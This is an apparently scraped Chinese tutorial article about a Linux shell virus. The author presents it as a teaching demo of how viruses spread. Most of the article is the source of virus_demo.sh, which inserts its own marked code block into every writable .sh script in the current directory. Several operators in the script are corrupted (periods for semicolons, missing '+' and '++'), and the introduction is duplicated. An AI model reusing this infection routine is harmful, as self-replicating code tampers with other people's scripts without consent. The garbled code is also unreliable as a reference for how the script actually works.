Linux操作系统下Shell病毒详细介绍

文章作者 100test 发表时间 2007:03:14 16:43:50
来源 100Test.Com百考试题网


说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

SHELL病毒简介

1. 前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦 从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感 染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。

2. 程序代码

#!/bin/sh 

#文件名: virus_demo.sh 

#用途 : shell病毒演示。 

#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。 

#编写 : [email protected] 

#日期 : 2003-5-13 



#B:< !a%C&.t:> 

vFile=$_ . vTmp=/tmp/.vTmp.$$ 

for f in ./*.sh. do 

if [ ! -w $f -a ! -r $vFile ]. then continue. fi 

if grep < !a%C&.t:> $f . then continue. fi 

if sed -n 1p $f | grep csh. then continue. fi 

cp -f $f $vTmp .if [ $? -ne 0 ].then continue. fi 

vNo=`awk $0~/(^\b*#)|(^\b*$)/&.&.v==NR-1{v  }END{print 0 v} $vTmp` 

sed -n "1,${vNo}p" $vTmp >$f 

(sed -n /^#B:< !a%C&.t:>/,/^#E:< !a%C&.t:>/p $vFile .echo ) >>$f 

vNo=`expr $vNo   1` 

sed -n "${vNo},\$p" $vTmp >>$f 

rm -f $vTmp 

done >/dev/null 2>&.1 

unset vTmp .unset vFile .unset vNo 



echo "Hi, here is a demo shell virus in your script !" 

#E:< !a%C&.t:> 

#EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。



相关文章


嵌入式Linux操作系统的广泛应用分析
Linux阵营多对Novell与微软合作存疑
Linux系统内核模块和用户程序比较
Linux下程序开发:用QT创建新风格
Linux操作系统下Shell病毒详细介绍
Linux操作系统下的汇编程序设计简介
新手指南:linux软件的安装方法
在FedoraCore3上安装alsa声卡驱动并实现多路混合输出
Linux各项系统开机服务的功能简介
澳大利亚华人论坛
考好网
日本华人论坛
华人移民留学论坛
英国华人论坛